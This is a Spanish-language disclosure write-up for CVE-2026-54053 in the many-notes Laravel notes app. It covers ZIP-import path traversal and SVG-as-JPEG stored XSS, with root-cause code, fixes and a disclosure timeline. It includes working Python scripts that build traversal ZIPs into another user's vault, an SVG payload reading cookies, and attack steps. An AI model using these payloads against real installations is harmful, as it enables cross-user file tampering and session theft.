CVE-2026-54053 — Path Traversal + Stored XSS vía Importación ZIP en Many Notes

ZIP import sin sanitización de path traversal + validación MIME permisiva en brufdev/many-notes permite escritura arbitraria entre vaults y XSS almacenado. CVSS 9.6 Crítico.

TL;DR

many-notes es una aplicación de notas Markdown self-hosted construida con Laravel. La funcionalidad que importa los vaults no sanitiza las secuencias ../ en los nombres de entradas (carpetas) en un ZIP. Cualquier usuario autenticado puede crear un ZIP malicioso para escribir archivos arbitrarios en los directorios de otros usuarios. Esto combinado con una falla en la validación MIME que permite subir archivos SVG disfrazados de .jpg habilita la posibilidad de hacer un XSS almacenado contra otros usuarios.

La vulnerabilidad fue reportada el 5 de marzo de 2026, parcheada en la versión 0.15.6 y asignada como CVE-2026-54053 (CVSS 9.6 — Crítico).


Detalles del Advisory

CVE IDCVE-2026-54053
SeverityCritical
CVSS9.6
Affectedbrufdev/many-notes <= 0.15.5
CampoValor
CVECVE-2026-54053
GHSAGHSA-wg8j-9c2g-xh6r
Proyectomany-notes (brufdev/many-notes)
Versiones afectadas<= 0.15.5
Versión parcheada0.15.6
Clase de vulnerabilidadPath Traversal (variante ZipSlip) + confusión MIME + XSS almacenado
Score CVSS v3.19.6 Crítico
Vector CVSS v3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Autenticación requerida
Reportado porDiego Valencia (@pirrandi)

Línea de Tiempo del Disclosure

FechaEvento
5 de marzo de 2026Reporte inicial enviado al maintainer (brufdev@proton.me) con PoC completo
5 de marzo de 2026El maintainer confirmó ambas vulnerabilidades el mismo día
11 de marzo de 2026GitHub Security Advisory abierto (GHSA-wg8j-9c2g-xh6r)
12 de marzo de 2026Reporter acreditado como colaborador
15 de mayo de 2026Maintainer publicó imagen de prueba para verificación
18 de mayo de 2026Fix verificado en brufdev/many-notes:test
Mayo de 2026Versión 0.15.6 publicada con el parche
Junio de 2026CVE-2026-54053 asignado por GitHub CNA

Resumen

La funcionalidad que permite importar ZIP de vaults no sanitiza las secuencias ../ en los nombres de las entradas (carpetas). Un archivo ZIP manipulado puede escapar del directorio objetivo del importador y escribir archivos arbitrarios en el directorio de cualquier otro usuario, incluyendo la sobreescritura de archivos existentes.

Una vez que la jerarquía de nodos de traversal existe en la base de datos, las operaciones de renombrado de archivos tanto del atacante como de la víctima resuelven al mismo directorio en disco, habilitando sobreescritura bidireccional y lectura de archivos entre usuarios.

Ademas, existe una falla separada en la validación MIME que permite subir archivos SVG con codigo javascript disfrazado de imágenes .jpg. Combinado con el Path Traversal, un atacante puede reemplazar una imagen de la víctima con un payload XSS que se ejecuta cuando la víctima abre la URL del archivo directamente.


Reproduciendo el bug

Utilizamos dos cuentas:

  • Atacante
  • Victima

Al registrar ambas cuentas, la app crea un “Starter Vault” por defecto para cada una. Lo primero es obtener los IDs de los usuarios.

A lo largo de este documento se usaran estas referencias:

  • ATTACKER_USER_ID = ID de usuario del atacante
  • VICTIM_USER_ID = ID de usuario de la víctima
  • VICTIM_VAULT_NAME = nombre del vault objetivo de la víctima (ej. Starter Vault)
  • ATTACKER_VAULT_ID = ID del vault del atacante

Nota: Los IDs de usuario son enteros secuenciales, enumerables por fuerza bruta sin acceso a la base de datos.


¿Cuál es la causa?

1. La opcion que permite importar el ZIP almacena .. como un nombre de nodo válido

app/Actions/ProcessImportedVault.php

$entryName    = $zip->getNameIndex($i);          // ej. "../"
$entryDirName = mb_rtrim($entryName, '/');        // → ".."
$attributes['name'] = pathinfo($entryDirName, PATHINFO_BASENAME); // → ".."
// Sin validación: el nombre ".." se almacena en la BD sin cambios
$node = new CreateVaultNode()->handle($vault, $attributes, false);

pathinfo('../', PATHINFO_BASENAME) retorna .. , no elimina el componente de traversal.

2. El constructor de rutas concatena nombres de nodo directamente desde la BD

app/Actions/GetPathFromVaultNode.php

$path = sprintf('private/vaults/%u/%s/', $user->id, $vault->name);
// recorre la cadena de ancestros concatenando nombres
$path .= $node->name . ($node->is_file ? '.' . $node->extension : '');
// ej.: "private/vaults/2/my-vault/../../3/Starter Vault/target.jpg"

Cualquier nodo con name = ".." provoca que la ruta escape del directorio del vault.

3. Flysystem no impone un chroot en put() o move()

Storage::disk('local')->put($path, $content);
// ruta: "private/vaults/2/my-vault/../../3/Starter Vault/pwned.png"
// El SO resuelve ../: escribe en private/vaults/3/Starter Vault/pwned.png ✓

Storage::disk('local')->move($oldPath, $newPath);
// Ambas rutas escapan del vault del atacante y operan dentro del directorio de la víctima

4. La validación MIME de imágenes acepta contenido SVG

app/Services/VaultFiles/Types/Image.php

private static function mimeTypesList(): array {
    return ['image/']; // coincidencia por prefijo — demasiado amplio
}

finfo->buffer('<svg>...</svg>') retorna image/svg+xml. str_starts_with('image/svg+xml', 'image/')true → el SVG pasa la validación como imagen con extensión .jpg.

Al servirse, BinaryFileResponse de Symfony detecta el MIME real del contenido → Content-Type: image/svg+xml → el navegador ejecuta el <script> embebido al cargar el documento como top-level.


Vectores de Ataque

Vector 1 — Escritura Arbitraria de Archivos

Objetivo: Plantar un nuevo archivo dentro del vault de cualquier víctima sin interacción de su parte.

Paso 1.1 — Identificar el objetivo

Encontrar el ID de usuario de la víctima y el nombre del vault.

Los IDs de los usuarios son enteros secuenciales, asi que por una simple fuerza bruta con BurpSuite o un script utilizando CURL se pueden encontrar.

Paso 1.2 — Crear el ZIP malicioso

Se utiliza VICTIM_USER_ID (El ID de la victima) y VICTIM_VAULT (el ID del vault a atacar de la victima).

import zipfile
from zipfile import ZipInfo

def create_minimal_pdf():
    return (
        b'%PDF-1.1\n'
        b'1 0 obj <</Type/Catalog/Pages 2 0 R>> endobj\n'
        b'2 0 obj <</Type/Pages/Kids[3 0 R]/Count 1>> endobj\n'
        b'3 0 obj <</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Contents 4 0 R/Resources<<>>>> endobj\n'
        b'4 0 obj <</Length 51>> stream\n'
        b'BT /F1 24 Tf 100 700 Td (pwned) Tj ET\n'
        b'endstream endobj\n'
        b'xref\n0 5\n'
        b'0000000000 65535 f\n0000000009 00000 n\n'
        b'0000000052 00000 n\n0000000101 00000 n\n0000000201 00000 n\n'
        b'trailer <</Size 5/Root 1 0 R>>\nstartxref\n302\n%%EOF'
    )

VICTIM_USER_ID = 2
VICTIM_VAULT   = 'test'
FILE_NAME      = 'pwned.pdf'

dirs = [
    '../',
    '../../',
    f'../../{VICTIM_USER_ID}/',
    f'../../{VICTIM_USER_ID}/{VICTIM_VAULT}/',
]

with zipfile.ZipFile('traversal.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
    for d in dirs:
        info = ZipInfo(d)
        info.external_attr = 0o40755 << 16
        zf.writestr(info, '')
    file_info = ZipInfo(f'../../{VICTIM_USER_ID}/{VICTIM_VAULT}/{FILE_NAME}')
    zf.writestr(file_info, create_minimal_pdf())

print(f'traversal.zip creado con {FILE_NAME}')

Esto crea traversal.zip con las siguientes entradas:

../
../../
../../{VICTIM_USER_ID}/
../../{VICTIM_USER_ID}/{VICTIM_VAULT}/
../../{VICTIM_USER_ID}/{VICTIM_VAULT}/pwned.pdf

Paso 1.3 — Importar como atacante

  1. Iniciar sesión con la cuenta del atacante. Y navegar a los vaults http://localhost:8080/vaults.
  2. Hacer clic en Import Vault (no “Import File”).
  3. Subir traversal.zip. En este punto se debe importar sin errores el ZIP malicioso.

La app crea nodos de directorio con name = ".." en la BD.

Paso 1.4 — Verificar

Iniciar sesión como la víctima. Abrir el vault objetivo. Y debe aparecer el pwned.pdf escrito por el atacante.


Vector 2 — Sobreescritura Arbitraria de Archivos (Bidireccional)

Objetivo: Reemplazar un archivo existente en el vault de la víctima con contenido controlado por el atacante.

Paso 2.1 — Identificar el archivo objetivo

Iniciar sesión como víctima, abrir el vault, anotar el nombre de un archivo existente (ej. foto.jpg). Los nombres de archivo se almacenan tal cual, la app no los hashea.

Paso 2.2 — Crear el ZIP de sobreescritura

Editar VICTIM_USER_ID, VICTIM_VAULT, FILE_NAME en create_traversal.py y ejecutar:

python3 create_traversal.py

Paso 2.3 — Importar y verificar

Importar traversal.zip como atacante. Iniciar sesión como víctima e importar un archivo .pdf al vault. En el vault del atacante, renombrar el .pdf con el mismo nombre que el .pdf de la víctima — el contenido del PDF del atacante sobreescribe el de la víctima.


Vector 3 — XSS Almacenado vía SVG Disfrazado como JPEG

Objetivo: Reemplazar una imagen de la víctima con un payload XSS en SVG. Se ejecuta cuando la víctima abre la URL del archivo directamente.

Paso 3.1 — Crear el ZIP con XSS

Se utiliza TARGET_USER, TARGET_VAULT, TARGET_FILE

import zipfile
from zipfile import ZipInfo

SVG_XSS = b'''<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    document.addEventListener("DOMContentLoaded", function() {
      fetch("/livewire/update", {
        method: "POST",
        headers: { "Content-Type": "text/plain" }
      });
    });
    alert("XSS as: " + document.cookie);
  </script>
</svg>'''

TARGET_USER  = 2
TARGET_VAULT = 'xss_test'
TARGET_FILE  = 'image.jpg'  # jpg existente de la víctima

dirs = [
    '../',
    '../../',
    f'../../{TARGET_USER}/',
    f'../../{TARGET_USER}/{TARGET_VAULT}/',
]

with zipfile.ZipFile('xss.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
    for d in dirs:
        info = ZipInfo(d)
        info.external_attr = 0o40755 << 16
        zf.writestr(info, '')
    file_info = ZipInfo(f'../../{TARGET_USER}/{TARGET_VAULT}/{TARGET_FILE}')
    zf.writestr(file_info, SVG_XSS)

print('xss.zip creado')
print(f'Payload: SVG/JS disfrazado como .jpg')
print(f'Target:  private/vaults/{TARGET_USER}/{TARGET_VAULT}/{TARGET_FILE}')

Paso 3.2 — Importar como atacante

Importar el ZIP con Import Vault.

Paso 3.3 — Por qué el SVG bypasea la validación de imágenes

  • finfo->buffer(SVG_CONTENT)image/svg+xml
  • Validador: str_starts_with('image/svg+xml', 'image/')true
  • La extensión jpg está en la lista permitida y se almacena en disco como .jpg con contenido SVG

Paso 3.4 — Disparar el XSS

La víctima abre (o recibe) la URL directa del archivo:

http://localhost:8080/files/{VICTIM_VAULT_ID}?path=/{TARGET_FILE}

El navegador recibe Content-Type: image/svg+xml , ejecuta el <script> y el alert se dispara con las cookies de la víctima.

Condiciones:

Contexto¿XSS se ejecuta?Razón
URL directa (/files/{id}?path=...)El navegador renderiza el SVG como documento top-level
Imagen embebida en nota (<img>)NoLos navegadores sandboxean scripts SVG en <img>
Slot PDF (<object>)Potencialmente<object> ejecuta scripts para SVG del mismo origen

Resumen de Impacto

VectorConfirmadoSeveridad
Escritura arbitraria de archivos en cualquier vaultAlto
Sobreescritura de archivo existente (ZIP)Alto
Sobreescritura vía renombrado del atacanteAlto
Lectura de archivo de víctima vía renombradoAlto
XSS almacenado vía SVG como .jpgSí (URL directa)Alto
Lectura de notas .md / .txtNo (bloqueado por FileController)

Correcciones Recomendadas

Fix 1 — Rechazar nombres de nodo .. durante la importación ZIP

// app/Actions/ProcessImportedVault.php
$name = pathinfo($entryDirName, PATHINFO_BASENAME);
if ($name === '..' || $name === '.') {
    continue;
}
$attributes['name'] = $name;

Fix 2 — Verificar límite de ruta antes de cualquier operación en disco

// Después de construir $relativePath en GetPathFromVaultNode o FileController
$disk     = Storage::disk('local');
$resolved = realpath($disk->path($relativePath));
$base     = realpath($disk->path(sprintf('private/vaults/%u', $user->id)));

if ($resolved === false || !str_starts_with($resolved, $base . DIRECTORY_SEPARATOR)) {
    abort(403);
}

Fix 3 — Lista explícita de tipos MIME para imágenes

// app/Services/VaultFiles/Types/Image.php
private static function mimeTypesList(): array {
    return ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
}

Conclusión

El path traversal por sí solo permite escritura de archivos entre usuarios, pero combinado con la validación MIME laxa se convierte también en un vector de XSS almacenado.

El fix es directo, rechazar .. en la capa de importación y verificar límites de ruta estrictos antes de cualquier operación en disco. Bruno, el maintainer, respondió rápido, coordinó el disclosure de forma profesional y publicó el parche dentro del plazo. El proceso de responsible disclosure funcionó de principio a fin.


PoC


Referencias


CVE-2026-54053: Path Traversal via ZIP Import — many-notes https://github.com/pirrandi/

AuthorPublished atLicense
Diego Valencia2026-06-11CC BY-NC-SA 4.0